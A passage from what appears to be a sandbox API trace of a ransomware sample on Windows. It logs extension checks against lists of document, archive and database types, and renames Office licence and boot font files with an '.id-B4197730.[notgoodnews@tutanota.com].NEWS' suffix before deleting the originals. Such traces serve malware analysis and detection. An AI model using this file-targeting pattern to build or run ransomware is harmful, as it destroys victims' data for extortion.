lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x106, lpOverlapped=0x0) returned 1 [0190.498] SetEndOfFile (hFile=0x2c8) returned 1 [0190.498] CloseHandle (hObject=0x2c8) returned 1 [0190.498] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.498] SetEndOfFile (hFile=0x2c4) returned 1 [0190.501] CloseHandle (hObject=0x2c4) returned 1 [0190.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0190.501] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms")) returned 1 [0190.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0190.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0190.502] lstrlenW (lpString=".doc") returned 4 [0190.502] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0190.502] lstrlenW (lpString=".docx") returned 5 [0190.502] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0190.502] lstrlenW (lpString=".pdf") returned 4 [0190.502] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0190.503] lstrlenW (lpString=".xls") returned 4 [0190.503] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0190.503] lstrlenW (lpString=".xlsx") returned 5 [0190.503] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0190.503] lstrlenW (lpString=".ppt") returned 4 [0190.503] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0190.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0190.503] lstrlenW (lpString=".zip") returned 4 [0190.503] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0190.503] lstrlenW (lpString=".rar") returned 4 [0190.503] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0190.503] lstrlenW (lpString=".bz2") returned 4 [0190.503] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0190.503] lstrlenW (lpString=".7z") returned 3 [0190.503] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0190.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0190.503] lstrlenW (lpString=".dbf") returned 4 [0190.503] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0190.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0190.503] lstrlenW (lpString=".1cd") returned 4 [0190.503] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0190.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0190.503] lstrlenW (lpString=".jpg") returned 4 [0190.503] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0190.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0190.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0190.503] lstrlenW (lpString=".doc") returned 4 [0190.503] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0190.503] lstrlenW (lpString=".docx") returned 5 [0190.503] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0190.503] lstrlenW (lpString=".pdf") returned 4 [0190.504] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0190.504] lstrlenW (lpString=".xls") returned 4 [0190.504] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0190.504] lstrlenW (lpString=".xlsx") returned 5 [0190.504] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0190.504] lstrlenW (lpString=".ppt") returned 4 [0190.504] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0190.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0190.504] lstrlenW (lpString=".zip") returned 4 [0190.504] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0190.504] lstrlenW (lpString=".rar") returned 4 [0190.504] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0190.504] lstrlenW (lpString=".bz2") returned 4 [0190.504] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0190.504] lstrlenW (lpString=".7z") returned 3 [0190.504] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0190.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0190.504] lstrlenW (lpString=".dbf") returned 4 [0190.504] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0190.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0190.504] lstrlenW (lpString=".1cd") returned 4 [0190.504] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0190.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0190.504] lstrlenW (lpString=".jpg") returned 4 [0190.504] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0190.504] lstrlenW (lpString=".id-") returned 4 [0190.504] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47d288 | out: hHeap=0x420000) returned 1 [0190.504] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bdae8 | out: hHeap=0x420000) returned 1 [0190.504] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x38c1460 | out: hHeap=0x420000) returned 1 [0190.505] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x38d1468 | out: hHeap=0x420000) returned 1 [0190.506] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3d73020 | out: hHeap=0x420000) returned 1 [0190.511] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47d4f8 | out: hHeap=0x420000) returned 1 [0190.511] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4089240 [0190.512] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4089240, Size=0x20) returned 0x408dbc8 [0190.512] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4089150 [0190.512] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4089150, Size=0x20) returned 0x408dc68 [0190.512] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0190.512] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0190.512] Wow64DisableWow64FsRedirection (in: OldValue=0x335ff50 | out: OldValue=0x335ff50*=0x1) returned 1 [0190.512] lstrlenW (lpString="kernel32.dll") returned 12 [0190.512] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408dc68 | out: hHeap=0x420000) returned 1 [0190.512] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0190.512] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408dbc8 | out: hHeap=0x420000) returned 1 Thread: id = 46 os_tid = 0xe00 [0157.068] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x38e1470 [0157.069] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x38f1478 [0157.069] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47d210 [0157.069] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x6) returned 0x4bd8c8 [0157.069] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47d2a0 [0157.069] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x100000) returned 0x3e86020 [0157.072] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47d318 [0157.072] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47d318, Size=0x20) returned 0x45f300 [0157.072] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47d318 [0157.072] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47d318, Size=0x20) returned 0x45f350 [0157.072] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0157.072] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0157.072] Wow64DisableWow64FsRedirection (in: OldValue=0x349ff50 | out: OldValue=0x349ff50*=0x0) returned 1 [0157.072] lstrlenW (lpString="kernel32.dll") returned 12 [0157.072] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f300 | out: hHeap=0x420000) returned 1 [0157.072] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0157.072] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f350 | out: hHeap=0x420000) returned 1 [0157.072] Sleep (dwMilliseconds=0x64) [0157.244] Sleep (dwMilliseconds=0x64) [0157.526] Sleep (dwMilliseconds=0x64) [0157.741] Sleep (dwMilliseconds=0x64) [0157.974] lstrcmpiW (lpString1=".LOG2", lpString2=".NEWS") returned -1 [0157.974] lstrlenW (lpString="BCD.LOG2") returned 8 [0157.974] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0158.079] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=0) returned 1 [0158.079] CloseHandle (hObject=0x38c) returned 1 [0158.079] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0158.079] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0158.079] lstrlenW (lpString=".doc") returned 4 [0158.079] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0158.079] lstrlenW (lpString=".docx") returned 5 [0158.080] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0158.082] lstrlenW (lpString=".pdf") returned 4 [0158.082] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0158.082] lstrlenW (lpString=".xls") returned 4 [0158.082] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0158.082] lstrlenW (lpString=".xlsx") returned 5 [0158.082] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0158.082] lstrlenW (lpString=".ppt") returned 4 [0158.089] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0158.089] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0158.089] lstrlenW (lpString=".zip") returned 4 [0158.089] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0158.089] lstrlenW (lpString=".rar") returned 4 [0158.089] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0158.091] lstrlenW (lpString=".bz2") returned 4 [0158.091] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0158.091] lstrlenW (lpString=".7z") returned 3 [0158.091] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0158.098] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0158.098] lstrlenW (lpString=".dbf") returned 4 [0158.098] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0158.098] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0158.098] lstrlenW (lpString=".1cd") returned 4 [0158.098] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0158.098] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0158.098] lstrlenW (lpString=".jpg") returned 4 [0158.098] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0158.098] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0158.098] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0158.098] lstrlenW (lpString=".doc") returned 4 [0158.098] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0158.098] lstrlenW (lpString=".docx") returned 5 [0158.098] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0158.098] lstrlenW (lpString=".pdf") returned 4 [0158.098] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0158.098] lstrlenW (lpString=".xls") returned 4 [0158.098] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0158.098] lstrlenW (lpString=".xlsx") returned 5 [0158.099] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0158.099] lstrlenW (lpString=".ppt") returned 4 [0158.099] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0158.099] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0158.099] lstrlenW (lpString=".zip") returned 4 [0158.099] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0158.099] lstrlenW (lpString=".rar") returned 4 [0158.099] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0158.099] lstrlenW (lpString=".bz2") returned 4 [0158.099] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0158.099] lstrlenW (lpString=".7z") returned 3 [0158.099] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0158.099] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0158.099] lstrlenW (lpString=".dbf") returned 4 [0158.099] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0158.099] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0158.099] lstrlenW (lpString=".1cd") returned 4 [0158.099] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0158.099] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0158.099] lstrlenW (lpString=".jpg") returned 4 [0158.099] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0158.099] lstrcmpiW (lpString1=".ttf", lpString2=".NEWS") returned 1 [0158.099] lstrlenW (lpString="msjhn_boot.ttf") returned 14 [0158.099] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0158.183] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=162331) returned 1 [0158.183] CloseHandle (hObject=0x3cc) returned 1 [0158.183] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf")) returned 0x20 [0158.183] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.183] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.183] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0158.184] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0158.184] lstrlenW (lpString=".doc") returned 4 [0158.184] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0158.184] lstrlenW (lpString=".docx") returned 5 [0158.184] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0158.184] lstrlenW (lpString=".pdf") returned 4 [0158.184] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0158.184] lstrlenW (lpString=".xls") returned 4 [0158.184] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0158.184] lstrlenW (lpString=".xlsx") returned 5 [0158.184] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0158.184] lstrlenW (lpString=".ppt") returned 4 [0158.184] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0158.184] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0158.184] lstrlenW (lpString=".zip") returned 4 [0158.184] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0158.184] lstrlenW (lpString=".rar") returned 4 [0158.184] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0158.184] lstrlenW (lpString=".bz2") returned 4 [0158.184] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0158.184] lstrlenW (lpString=".7z") returned 3 [0158.184] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0158.184] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0158.184] lstrlenW (lpString=".dbf") returned 4 [0158.184] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0158.184] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0158.184] lstrlenW (lpString=".1cd") returned 4 [0158.184] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0158.185] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0158.185] lstrlenW (lpString=".jpg") returned 4 [0158.185] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0158.185] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0158.185] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0158.185] lstrlenW (lpString=".doc") returned 4 [0158.185] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0158.185] lstrlenW (lpString=".docx") returned 5 [0158.185] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0158.185] lstrlenW (lpString=".pdf") returned 4 [0158.185] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0158.185] lstrlenW (lpString=".xls") returned 4 [0158.185] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0158.185] lstrlenW (lpString=".xlsx") returned 5 [0158.185] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0158.185] lstrlenW (lpString=".ppt") returned 4 [0158.185] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0158.185] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0158.185] lstrlenW (lpString=".zip") returned 4 [0158.185] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0158.185] lstrlenW (lpString=".rar") returned 4 [0158.185] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0158.185] lstrlenW (lpString=".bz2") returned 4 [0158.185] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0158.185] lstrlenW (lpString=".7z") returned 3 [0158.185] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0158.185] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0158.186] lstrlenW (lpString=".dbf") returned 4 [0158.186] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0158.186] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0158.186] lstrlenW (lpString=".1cd") returned 4 [0158.186] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0158.186] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0158.186] lstrlenW (lpString=".jpg") returned 4 [0158.186] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0158.186] lstrcmpiW (lpString1=".ttf", lpString2=".NEWS") returned 1 [0158.186] lstrlenW (lpString="msyh_boot.ttf") returned 13 [0158.186] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0158.187] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=156245) returned 1 [0158.188] CloseHandle (hObject=0x3cc) returned 1 [0158.188] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf")) returned 0x20 [0158.188] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.188] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.188] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0158.188] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0158.188] lstrlenW (lpString=".doc") returned 4 [0158.188] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0158.188] lstrlenW (lpString=".docx") returned 5 [0158.188] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0158.188] lstrlenW (lpString=".pdf") returned 4 [0158.188] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0158.188] lstrlenW (lpString=".xls") returned 4 [0158.188] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0158.188] lstrlenW (lpString=".xlsx") returned 5 [0158.188] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0158.188] lstrlenW (lpString=".ppt") returned 4 [0158.188] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0158.188] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0158.188] lstrlenW (lpString=".zip") returned 4 [0158.188] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0158.188] lstrlenW (lpString=".rar") returned 4 [0158.188] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0158.188] lstrlenW (lpString=".bz2") returned 4 [0158.188] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0158.189] lstrlenW (lpString=".7z") returned 3 [0158.189] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0158.189] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0158.189] lstrlenW (lpString=".dbf") returned 4 [0158.189] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0158.189] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0158.189] lstrlenW (lpString=".1cd") returned 4 [0158.189] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0158.189] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0158.189] lstrlenW (lpString=".jpg") returned 4 [0158.189] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0158.189] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0158.189] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0158.189] lstrlenW (lpString=".doc") returned 4 [0158.189] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0158.189] lstrlenW (lpString=".docx") returned 5 [0158.189] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0158.189] lstrlenW (lpString=".pdf") returned 4 [0158.189] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0158.189] lstrlenW (lpString=".xls") returned 4 [0158.189] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0158.189] lstrlenW (lpString=".xlsx") returned 5 [0158.189] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0158.189] lstrlenW (lpString=".ppt") returned 4 [0158.189] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0158.189] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0158.189] lstrlenW (lpString=".zip") returned 4 [0158.189] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0158.189] lstrlenW (lpString=".rar") returned 4 [0158.189] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0158.189] lstrlenW (lpString=".bz2") returned 4 [0158.189] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0158.189] lstrlenW (lpString=".7z") returned 3 [0158.190] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0158.190] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0158.190] lstrlenW (lpString=".dbf") returned 4 [0158.190] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0158.190] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0158.190] lstrlenW (lpString=".1cd") returned 4 [0158.190] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0158.190] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0158.190] lstrlenW (lpString=".jpg") returned 4 [0158.190] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0158.190] lstrcmpiW (lpString1=".ttf", lpString2=".NEWS") returned 1 [0158.190] lstrlenW (lpString="segmono_boot.ttf") returned 16 [0158.190] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0158.191] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=44859) returned 1 [0158.191] CloseHandle (hObject=0x3cc) returned 1 [0158.191] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf")) returned 0x20 [0158.191] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.191] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.191] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0158.191] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0158.191] lstrlenW (lpString=".doc") returned 4 [0158.191] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0158.191] lstrlenW (lpString=".docx") returned 5 [0158.191] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0158.191] lstrlenW (lpString=".pdf") returned 4 [0158.191] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0158.191] lstrlenW (lpString=".xls") returned 4 [0158.191] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0158.191] lstrlenW (lpString=".xlsx") returned 5 [0158.191] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0158.191] lstrlenW 